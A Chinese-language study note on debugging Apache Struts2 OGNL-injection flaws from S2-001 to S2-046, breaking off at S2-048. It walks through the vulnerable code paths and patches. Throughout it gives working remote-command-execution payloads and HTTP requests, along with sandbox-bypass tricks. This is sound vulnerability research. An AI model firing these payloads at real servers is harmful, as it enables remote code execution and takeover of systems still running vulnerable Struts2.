struts2漏洞调试笔记

0x01 前言

为了能过下班后和周末不用学习、混吃等死的美好生活,开始了知识补漏行动,于是就有了这篇又臭又长的学习笔记。调试环境打包放在了github上,直接用idea打开就可以运行调试。

https://github.com/proudwind/struts2_vulns/

0x02 漏洞分析

s2-001

影响版本: 2.0.0 - 2.0.8

payload

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

分析第一个漏洞的时候啰嗦一些,把struts2的运行流程梳理一下。

struts2是通过filter来拦截请求并处理,所以在struts2-core-2.0.8.jar!/org/apache/struts2/dispatcher/FilterDispatcher.class处,tomcat将请求交给struts2处理。

经过漫长的调用(待详细研究),在xwork-2.0.3.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.classdoIntercept方法开始对传入的参数进行处理。

最后反射调用,又经过漫长的调用之后,在xwork-2.0.3.jar!/com/opensymphony/xwork2/DefaultActionInvocation.classinvokeAction中调用了我们自定义的action。

在我们自定义的逻辑运行完之后,struts2将返回响应,并重新渲染jsp。问题就出在重新渲染时,struts2对ognl表达式进行了二次解析,导致攻击者输入的恶意表达式被执行。

继续跟进,这部分调用是将action的运行结果返回给tomcat,下一步开始重新渲染jsp页面,开始解析struts2自定义的标签。跟进到struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class

继续跟进到:struts2-core-2.0.8.jar!/org/apache/struts2/components/UIBean.classevaluateParams方法,对标签属性进行解析。

如果开启了altSyntax,会将标签name属性的值(这里是username),用%{}包裹,进行进一步解析。

继续跟进到xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.classtranslateVariables方法:

这里会将%{}中的值取出来,放入findValue方法中,继续跟进:

xwork-2.0.3.jar!/com/opensymphony/xwork2/util/OgnlValueStack.class

可以看到在这个方法中ognl表达式传入了OgnlUtil.getValue并执行。

我们再回看translateVariables方法:

这个方法对表达式是是递归解析的,如果说%{username}的结果还是一个表达式(被%{}包裹)的话,那么程序会继续解析,这造成了恶意ognl表达式的执行。

防御

补丁中设置了一个最大循环解析次数,防止多次解析而造成漏洞。

s2-003

影响版本: 2.0.0 - 2.0.11.2

payload

//s2-003,无回显,payload中特殊字符要urlencode,否则tomcat会报400
(%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003dfalse%27)(a)(a)&('%5cu0023rt%[email protected]@getRuntime().exec(%[email protected]@calculator.app%22.split(%[email protected]%22))')(a)(a)

在tomcat9和tomcat8.5.45中发送payload都会返回400(urlencode也不好使),参考vulhub使用了tomcat8.5.14。

从payload来看,攻击分两步,首先开启ognl的方法调用,然后注入表达式执行代码。

xwork-2.0.3.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.classdoIntercept处开始进行参数绑定:

安全起见,struts2禁止ognl表达式调用方法。跟进setParameters方法:

获取请求参数的key,并通过acceptableName方法来验证是否合法,跟进看一下:

对ognl中的一些关键字进行了过滤,可以通过unicode来绕过(# -> \u0023),具体原因会在分析中说,这就导致ognl表达式仍然可以正常执行。

验证完成之后,会对每一个传入的参数进行处理,并放入栈中。

继续跟进,来到xwork-2.0.4-sources.jar!/com/opensymphony/xwork2/util/OgnlValueStack.java

继续xwork-2.0.4-sources.jar!/com/opensymphony/xwork2/util/OgnlUtil.java

这里首先在上下文的expressions列表中查找是否有我们传入的表达式,如果没有就进行解析,并将结果保存在上下文中,接下来是一个极为漫长的调用:

到了ognl-2.6.11-sources.jar!/ognl/JavaCharStream.javareadChar方法:

如果\后面有u,会进行转码处理,又进行了一通set操作之后,来到了ognl-2.6.11-sources.jar!/ognl/ASTEval.javasetValueBody方法:

通过child的getValue方法,开始将传入的表达式一层层“剥开”,在一通get操作之后,来到了getValueBody方法:

此时node已经是一个原始的ognl表达式了,继续跟进,经过一通调用之后:

ognl-2.6.11-sources.jar!/ognl/OgnlRuntime.javasetProperty方法中,开启了方法调用。

至此我们完成了攻击的第一步,第二步代码执行过程比较相似,最后利用反射调用了表达式中的方法。

ognl-2.6.11-sources.jar!/ognl/ASTMethod.java

防御

事实证明官方对于s2-003的修复是失败的,但我们还是要看一下补丁,才能知道怎么绕过的:)。

首先是更为严格的正则表达式:

xwork-core-2.1.6-sources.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.java

但是并没有解决unicode编码绕过的问题。

同时设置了一个沙箱:

在上面的分析过程中,只跟到ognl-2.6.11-sources.jar!/ognl/ASTMethod.javacallStaticMethod方法就听了,现在继续跟进:

xwork-core-2.1.6.jar!/ognl/OgnlRuntime.class

跟进这个函数看一下:

xwork-core-2.1.6-sources.jar!/com/opensymphony/xwork2/ognl/SecurityMemberAccess.java

这就是struts2的沙箱,如果调用的方法是静态方法,则检查AllowStaticMethodAccess,如果不允许,就只能调用白名单中的静态方法。

s2-005

影响版本: 2.0.0 - 2.1.8.1

如果继续用s2-003的payload,在调试过程中就会发现攻击的第一步,即:

#context["xwork.MethodAccessor.denyMethodExecution"]=false

是生效的:

只是在第二步反射调用方法的时候受到了限制,限制的核心就是默认为false的allowStaticMethodAccess。那我们能不能用相同的方式将allowStaticMethodAccess设置为空呢?当然是可以的,payload如下:

payload

(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%5cu003dtrue%27)(a)(a)&(%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003dfalse%27)(a)(a)&(('%5cu0023rt.exec(%[email protected]@calculator.app%22.split(%[email protected]%22))')(%5cu0023rt%[email protected]@getRuntime()))(a)(a)

防御

补丁对参数的合法性进行了进一步的过滤:

xwork-core-2.2.3-sources.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.java

但是这样只是过滤了参数名,并没有过滤参数值,所以依然可以绕过,具体情况在s2-009中说。

s2-007

影响版本: 2.0.0 - 2.2.3

payload

'+(paylaod)+'

'+(#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@[email protected](@[email protected]().exec('id').getInputStream()))+'

触发这个漏洞需要一些配置,首先要配置一个validator:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
        "-//OpenSymphony Group//XWork Validator 1.0//EN"
        "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
    <field name="age">
        <field-validator type="int">
            <param name="min">1</param>
            <param name="max">150</param>
            <message></message>
        </field-validator>
    </field>
</validators>

当我们传入的age参数无法通过验证时,页面会报错,同时触发漏洞。

请求在到达Action进行逻辑处理之前,会经过一系列的拦截器(interceptor),如果数据合法性验证不通过,会触发

xwork-core-2.2.3-sources.jar!/com/opensymphony/xwork2/interceptor/ConversionErrorInterceptor.java这个拦截器:

将传入的参数逐一验证合法性,并将验证不通过的key、value放到fakie这个HashMap中。跟进getOverrideExpr看一下:

struts2-core-2.2.3-sources.jar!/org/apache/struts2/interceptor/StrutsConversionErrorInterceptor.java

反编译可能有点问题,其实就是:

return "'" + value + "'";

没有对value做任何过滤,直接拼接。所以paylaod为'+(paylaod)+',通过闭合单引号将ognl表达式注入进去。

剩下的流程在s2-001中有过描述,最后会进入xwork-2.0.3.jar!/com/opensymphony/xwork2/util/OgnlValueStack.classtranslateVariables方法,进行ognl表达式的解析和执行。

防御

xwork-core-2.3.1-sources.jar!/com/opensymphony/xwork2/interceptor/ConversionErrorInterceptor.java

防御非常简单,在拼接时对单引号进行了转义。

s2-008

影响版本: 2.1.0 - 2.3.1

payload

需开启debug模式。

debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%[email protected]@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29)

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。

防御

struts2-core-2.3.12.jar!/org/apache/struts2/interceptor/CookieInterceptor.class

xwork-core-2.3.12.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.class中对加强了对参数的过滤。

s2-009

影响版本: 2.1.0 - 2.3.1

payload

username=(%23context["xwork.MethodAccessor.denyMethodExecution"]%3d+new+java.lang.Boolean(false),%23_memberAccess["allowStaticMethodAccess"]%3d+new+java.lang.Boolean(true),%40java.lang.Runtime%40getRuntime().exec('open%40-a%40Calculator.app'.split("%40")))&z[(username)(1)]

在s2-005的防御中我们提到了补丁仍然可以绕过,这是因为struts2只验证了参数的key的合法性,并没验证value。

这样就可以通过设置参数的value来将ognl表达式注入到上下文中。

首先我们将一个实际存在的参数的value设置为恶意的ognl表达式,以上面payload中的username参数为例。

接着我们传入第二个参数z[(username)(1)],struts2在解析这个表达式的时候会尝试调用Action中的getter来获取username的值(调用栈太长就不贴了)。

ognl-3.0.3-sources.jar!/ognl/OgnlRuntime.java

防御

xwork-core-2.3.12.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.class

再次修改了正则表达式,防止(ognl)(1)这种形式的攻击。

s2-012

影响版本: 2.1.0 - 2.3.13

payload

直接使用s2-001的payload即可。

需要配置一个重定向:

<action name="login" class="cn.seaii.s2001.action.LoginAction">
        <!--s2-012-->
    <result name="redirect" type="redirect">/login.jsp?username=${username}</result>

    <result name="success">login.jsp</result>
    <result name="error">login.jsp</result>
</action>

Action:

public String execute() throws Exception {
    if ((this.username.isEmpty()) || (this.password.isEmpty())) {
        return "error";
    }
    if ((this.username.equalsIgnoreCase("admin")) && (this.password.equals("admin"))) {
        return "success";
    }
    //return "error";
    return "redirect"; //for s2-012
}

在自定义Action处理完请求之后,struts2会调用一系列的拦截器,将请求转化为响应。

xwork-core-2.3.12-sources.jar!/com/opensymphony/xwork2/DefaultActionInvocation.java

根据action的返回值(success、error、redirect等)来调用相应的类来处理。

继续跟进,会对要跳转到的地址进行一次ognl表达式的解析,又看到熟悉的translateVariables了。

由于这里第一次是$开头,恶意表达式是#,都会解析一次,所以payload可以正常解析并执行。

防御

struts2默认禁用eval表达式的执行。

xwork-core-2.3.14.1.jar!/com/opensymphony/xwork2/config/impl/DefaultConfiguration.class

s2-013/s2-014

影响版本: 2.0.0 - 2.3.14.1

payload

s2-013
a=%25{%23_memberAccess["allowStaticMethodAccess"]%3dtrue,%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('whoami').getInputStream())}

s2-014
s2-013的补丁只是将%{ognl}过滤,将%换成$即可绕过

struts2的标签中 <s:a><s:url> 都有一个 includeParams 属性,可以设置成如下值

  1. none - URL中包含任何参数(默认)
  2. get - 仅包含URL中的GET参数
  3. all - 在URL中包含GET和POST参数

includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。

此时<s:a><s:url>尝试去解析原始请求参数时,会导致OGNL表达式的执行

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<h2>S2-013 Demo</h2>
<p>link: <a href="https://struts.apache.org/docs/s2-013.html">https://struts.apache.org/docs/s2-013.html</a></p>

<p>Try add some parameters in URL</p>
<p><s:a id="link1" action="link" includeParams="all">"s:a" tag</s:a></p>
<p><s:url id="link2" action="link" includeParams="all">"s:url" tag</s:url></p>

根据s2-001的经验,struts2在解析框架定义的标签时会调用

struts2-core-2.3.14.1-sources.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.javadoStartTag方法。

继续跟进到struts2-core-2.3.14.1-sources.jar!/org/apache/struts2/components/ServletUrlRenderer.java,这里会进行url的渲染。

跟进renderUrl方法,然后继续跟进:

struts2-core-2.3.14.1-sources.jar!/org/apache/struts2/views/util/DefaultUrlHelper.java

会将所有参数进行遍历,然后对参数值进行解析。

struts2-core-2.3.14.1-sources.jar!/org/apache/struts2/views/util/DefaultUrlHelper.java

跟进translateAndEncode方法,又看到熟悉的translateVariables方法了。

注意看此时的context:

是允许静态方法调用的,但是allowStaticMethodAccess即沙箱是开启的。

防御

struts2-core-2.3.14.2-sources.jar!/org/apache/struts2/views/util/DefaultUrlHelper.java中将translateAndEncode方法改为了encode方法:

只将参数进行url编码后就返回,不再进行ognl表达式的解析。

与此同时,自2.3.14.2版本开始,struts2的沙箱发生了变化,xwork-core-2.3.14.2.jar!/com/opensymphony/xwork2/ognl/SecurityMemberAccess.class删除了setAllowStaticMethodAccess方法。这就意味只我们无法通过之前%{#_memberAccess["allowStaticMethodAccess"]=true}这种方式来绕过沙箱,因为上述方式本质上是调用对应类的setter方法。具体绕过方式在s2-015中介绍。

s2-015

影响版本: 2.0.0 - 2.3.14.2

payload

%{#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#[email protected]@toString(@[email protected]().exec('id').getInputStream())}

{payload}.action
x.action?message={payload}

由于 name 值的位置比较特殊,一些特殊的字符如 /``" \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。

s2-015跟s2-012比较相似,都是在构建响应的时候参数作为ognl表达式执行,s2-012是跳转(redirect),s2-015两处触发点一处是location,另一处是header。

触发点1:

xwork-core-2.3.14.2-sources.jar!/com/opensymphony/xwork2/DefaultActionInvocation.java

struts2-core-2.3.14.2-sources.jar!/org/apache/struts2/dispatcher/StrutsResultSupport.java

触发点2:

struts2-core-2.3.14.2-sources.jar!/org/apache/struts2/dispatcher/HttpHeaderResult.java

在前面s2-013的防御中我们提到了struts2的沙箱发生了变化,删除了setAllowStaticMethodAccess方法。所以我们无法通过#_memberAccess["allowStaticMethodAccess"]=true来关闭沙箱。除了直接赋值之外还有什么方法呢?比较容易想到就是反射:

#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
#m.setAccessible(true), //私有变量
#m.set(#_memberAccess,true)

或者换个角度来想,struts2只是禁止静态方法的调用,那直接调用非静态方法不就行了:

${(new+java.lang.ProcessBuilder(new+java.lang.String[]{'open','/Applications/Calculator.app'})).start()}

防御

针对触发点一:

struts2-core-2.3.15-sources.jar!/org/apache/struts2/dispatcher/mapper/DefaultActionMapper.java中添加了一个cleanupActionName过滤方法:

如果存在不合法字符,就会将他们全部替换为空。

针对触发点二:

xwork-core-2.3.15-sources.jar!/com/opensymphony/xwork2/util/OgnlTextParser.java

修改了变量pos初始化的位置,这个调试一下就会明白,在前面的漏洞利用中,都是第一次解析${arg},解析出来的结果如果是%开头的,会再解析一次。如果在for(char open : openChars)这个循环中初始化变量pos,就会导致ognl表达式解析。

s2-016

影响版本:Struts 2.0.0 - Struts 2.3.15

payload

?redirectAction:${#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@[email protected]().exec('open /Applications/Calculator.app')}

DefaultActionMapper 类支持以 action:redirect:redirectAction: 作为访问前缀,前缀后面可以跟 OGNL 表达式,由于 Struts2 未对其进行过滤,导致任意 Action 可以使用这些前缀执行任意 OGNL 表达式,从而导致任意命令执行,经测试发现 redirect:redirectAction: 这两个前缀比较好容易构造出命令执行的 Payload

struts2-core-2.3.15-sources.jar!/org/apache/struts2/dispatcher/ng/filter/StrutsPrepareAndExecuteFilter.java

首先跟进findActionMapping方法:

struts2-core-2.3.15-sources.jar!/org/apache/struts2/dispatcher/mapper/DefaultActionMapper.java

回过来看struts2-core-2.3.15-sources.jar!/org/apache/struts2/dispatcher/ng/filter/StrutsPrepareAndExecuteFilter.javadoFilter方法,跟进:

struts2-core-2.3.15-sources.jar!/org/apache/struts2/dispatcher/StrutsResultSupport.java

又见面了~

防御

struts2-core-2.3.24.1-sources.jar!/org/apache/struts2/dispatcher/mapper/DefaultActionMapper.java

只保留了action:method:这两个前缀,同时在put时增加了过滤:

s2-029

影响版本:Struts 2.0.0 - Struts 2.3.26

payload

message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@[email protected](@[email protected]().exec('id').getInputStream()))

message=(%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()))

简单的说就是当开发者在模版中使用了类似如下的标签写法时,后端 Struts2 处理时会导致二次 OGNL 表达式执行的情况:

<s:textfield name="%{message}"></s:textfield>

这里需要注意的是,仅当只有 name 属性这样写的情况下才能触发 OGNL 表达式执行,并且该标签中不能显示写有 value 属性

利用条件比较苛刻,还是从struts2处理标签的地方开始看:

struts2-core-2.3.24.1-sources.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.java

跟进end方法,其中又调用了evaluateParams方法:

struts2-core-2.3.24.1-sources.jar!/org/apache/struts2/components/UIBean.java

会将我们传入的参数放入findString方法解析,而findString最后会调用我们熟悉的translateVariables

struts2-core-2.3.24.1-sources.jar!/org/apache/struts2/components/Component.java

这只是一次正常的解析,我们回到evaluateParams方法继续看:

如果在标签中设置的value属性,就不会进行二次解析。跟进completeExpressionIfAltSyntax方法:

又在字符串外面套上了%{},造成了ognl表达式的二次解析,从而出现漏洞。

到这里漏洞成因就分析完了,不过看payload可以发现,设置的参数又变多了。这是因为struts2又对沙箱进行了加强,我们直接定位到ognl给类属性赋值的地方:

ognl-3.0.6-sources.jar!/ognl/ObjectPropertyAccessor.java

struts2会先尝试调用target类对应属性的set方法,如果set失败,会再尝试利用反射直接对属性进行赋值。

ognl-3.0.6-sources.jar!/ognl/OgnlRuntime.java

首先通过反射找到对应的set方法,但是不能立即调用,需要进行进一步的检查:

xwork-core-2.3.24.1-sources.jar!/com/opensymphony/xwork2/ognl/SecurityMemberAccess.java

跟进checkEnumAccess

接下来是对包名的过滤:

然后是对类的过滤:

检查是否允许静态方法调用:

再检查setter方法的权限(public or ...):

ognl-3.0.6-sources.jar!/ognl/DefaultMemberAccess.java

可以看到如果是private或者protected,默认是不允许调用的:

最后检查属性值:

当这些条件都满足之后,才会调用对应的方法:

ognl-3.0.6-sources.jar!/ognl/OgnlRuntime.java

如果调用失败,则尝试利用反射直接对属性进行赋值:

ognl-3.0.6-sources.jar!/ognl/ObjectPropertyAccessor.java

ognl-3.0.6-sources.jar!/ognl/OgnlRuntime.java

跟进setup方法:

ognl-3.0.6-sources.jar!/ognl/DefaultMemberAccess.java

如果传入的属性是合法的,会允许通过反射修改private修饰的属性值。

正因为这样,我们可以通过ognl表达式将这些安全属性覆盖掉,从而绕过沙箱。同时也解释了为什么setAllowStaticMethodAccess方法被删掉之后仍然可以通过#_memberAccess['allowStaticMethodAccess']=true来直接赋值。

防御

SecurityMemberAccess类加入了黑名单,这样就不能通过ognl表达式操作它的属性了。

但是这样的防御只是针对覆盖属性值的攻击方法,如果我们直接把整个_memberAccess覆盖了呢?

ognl-3.0.13-sources.jar!/ognl/OgnlContext.java

_memberAccess实质上就是一个DefaultMemberAccess类的实例化对象,而我们熟悉的SecurityMemberAccess是它的子类。

通过#[email protected]@DEFAULT_MEMBER_ACCESS就可以将整个SecurityMemberAccess覆盖掉,从而消除所有的安全过滤来绕过沙箱。所以这次防御并没有从根源解决问题,但是该漏洞利用条件较为苛刻,就先分析到这。

s2-032

影响版本:Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

payload

?method%3a%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%23parameters.cmd[0]).getInputStream()),%23resp%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23w%3d%23resp.getWriter(),%23w.print(%23res),%23w.close&cmd=id

需要在struts.xml中开启DynamicMethodInvocation

<constant name="struts.enable.DynamicMethodInvocation" value="true" />

漏洞触发点与s2-016相同,对s2-016的修复还是指哪修哪,并没有统一的解决问题。

struts2-core-2.3.28.jar!/org/apache/struts2/dispatcher/mapper/DefaultActionMapper.class

要注意的地方有两点,其一是struts2会将我们传入的方法名进行过滤和转义:

xwork-core-2.3.28-sources.jar!/com/opensymphony/xwork2/DefaultActionProxy.java

所以我们不能直接传字符串参数,而是需要如下方式来传递:

@[email protected]().exec(#parameters.cmd[0])&cmd=id

其二是经过一系列的拦截器之后,又回到xwork-core-2.3.28-sources.jar!/com/opensymphony/xwork2/DefaultActionInvocation.java

这里会将我们传入的ognl表达式后面拼接上(),在构造payload时要注意消除掉这个()带来的影响。

防御

修复方式与s2-016也相同,给method增加了过滤。

s2-033

影响版本:Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

payload

orders/4!#[email protected]@DEFAULT_MEMBER_ACCESS,#[email protected]@getResponse(),#w=#resp.getWriter(),#[email protected]@toString(@[email protected]().exec(#parameters.cmd[0]).getInputStream()),#w.print(#res),#w.close.json?cmd=id

orders/4/#[email protected]@DEFAULT_MEMBER_ACCESS,#[email protected]@getResponse(),#w=#resp.getWriter(),#[email protected]@toString(@[email protected]().exec(#parameters.cmd[0]).getInputStream()),#w.print(#res),#w.close.json?cmd=id

s2-033的触发点有两处,一处需要开启DynamicMethodInvocation,另一处则不用。

首先来看需要开启dmi的情况:

struts2-rest-plugin-2.3.28-sources.jar!/org/apache/struts2/rest/RestActionMapper.java

注释写的很清楚了,处理name!method这种情况,继续跟进:

struts2-rest-plugin-2.3.28-sources.jar!/org/apache/struts2/rest/RestActionMapper.java

可以看到如果开启了dmi,就会调用setMethod,而actionMethod正是我们传入的ognl表达式。后面的流程就与s2-032相同了。

第二种情况,我在struts2-rest-plugin-2.3.28-sources.jar!/org/apache/struts2/rest/RestActionMapper.java执行完handleDynamicMethodInvocation继续向后看:

这里没有任何安全检查就直接调用setMethod了,当然也不需要开启dmi。

防御

关闭了enableEvalExpression,并对传入的ognl表达式进行了进一步的检测:

xwork-core-2.3.28.1-sources.jar!/com/opensymphony/xwork2/ognl/OgnlUtil.java

如果不符合条件,就会抛出错误。

对传入的表达式进行递归检测,但是这样是可以绕过的,这就是后来的s2-037。

s2-037

影响版本:Struts 2.3.20 - Struts Struts 2.3.28.1

payload

(%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)%3f(%23resp%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23w%3d%23resp.getWriter(),%23res%3d%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%23parameters.cmd[0]).getInputStream()),%23w.print(%23res),%23w.close())%3axx.toString.json?cmd=id

通过payload可以发现,绕过防御的方式是使用三目运算符。

xwork-core-2.3.28.1-sources.jar!/com/opensymphony/xwork2/ognl/OgnlUtil.java

在调试过程发现,有关键影响的并不是isEvalChain,而是isSequence,原因是无论传入s2-033还是s2-037的payload,isEvalChain都会返回false。

首先看传入s2-033的payload时,表达式的解析结果是ASTSequence类的实例化:

xwork-core-2.3.28.1-sources.jar!/com/opensymphony/xwork2/ognl/OgnlUtil.java

ASTSequenceisSequence是这样的:

ognl-3.0.14-sources.jar!/ognl/ASTSequence.java

如果我们传入s2-037的payload,表达式的解析结果是ASTTest类的实例化,它的isSequence是这样的:

ognl-3.0.14-sources.jar!/ognl/SimpleNode.java

防御

struts2更换了检测方法,检测传入的方法名是否是单个的方法,来防止多条表达式执行。

xwork-core-2.3.33-sources.jar!/com/opensymphony/xwork2/ognl/OgnlUtil.java

s2-045/s2-046

影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

payload

#s2-045
GET /s2vuls/s2045.action HTTP/1.1
Host: 127.0.0.1:10080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Content-Type: amultipart/form-data%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='open -a calculator').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

#s2-046
POST /s2vuls/s2045.action HTTP/1.1
Host: 127.0.0.1:10080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150
Content-Length: 1031

-----------------------------735323031399963166993862150
Content-Disposition: form-data; name="foo"; filename="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='open -a calculator').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}%00b"
Content-Type: text/plain

x
-----------------------------735323031399963166993862150--

如果Content-Type中存在multipart/form-data,struts2会将这次请求视为文件上传请求来处理:

struts2-core-2.3.31-sources.jar!/org/apache/struts2/dispatcher/Dispatcher.java

跟进来到struts2-core-2.3.31-sources.jar!/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java,如果在解析过程中抛出了异常,会对错误信息进行进一步的处理:

跟进buildErrorMessage方法:

经过一系列调用:

来到xwork-core-2.3.31-sources.jar!/com/opensymphony/xwork2/util/LocalizedTextUtil.javagetDefaultMessage方法中,将错误信息进行了ognl表达式的解析,从而导致漏洞的出现。

漏洞点已经找到了,想要成功利用还需要解决几个问题。

其一是在struts2-core-2.3.31-sources.jar!/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java的异常处理中,catch的是Exception,也就是catch了所有抛出的异常,所以我们需要保证抛出的异常的信息中包含我们的payload:

s2-045的输入点在Content-Type,如果Content-Type不合法会抛出异常:

需要保证Content-Type的开头不能是multipart/

commons-fileupload-1.3.2-sources.jar!/org/apache/commons/fileupload/FileUploadBase.java

s2-046的输入点在Content-Disposition的filename字段,如果不合法会抛出异常:

commons-fileupload-1.3.2-sources.jar!/org/apache/commons/fileupload/util/Streams.java

再一个就是沙盒绕过,在s2-037的防御中我们知道,struts2已经禁止多行ognl表达式运行。同时在struts2 2.3.30之后,DefaultMemberAccess也被加入了黑名单。

这里可以注意到调用栈中首先是初始化了ValueStack之后再通过OgnlUtil这个API将数据和方法注入进ValueStack中,而ValueStack又是利用OgnlContext来创建的,所以会看到OgnlContext中的_memberAccess与securityMemberAccess是同一个SecurityMemberAccess类的实例,而且内容相同,也就是说全局的OgnlUtil实例都共享着相同的设置。如果利用OgnlUtil更改了设置项(excludedClasses、excludedPackageNames、excludedPackageNamePatterns)则同样会更改_memberAccess中的值。

重点在最后一句,既然我们不能直接修改_memberAccess,换个角度来看,_memberAccess实质上就是一个SecurityMemberAccess类的对象。这个对象的属性中包含着各种黑名单,如果我们能够将这些黑名单清空,自然就绕过了沙箱。同时OgnlUtil的初始化是单例模式,所以取到的、修改的是同一个对象。

防御

struts2-core-2.3.33-sources.jar!/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java

处理错误时不在传入具体的错误信息,哪里出事补哪里,并没有解决ognl表达式绕过的问题。

s2-048

影响版本:Struts 2.3.x with Struts 1 plugin and Struts 1 action

payload

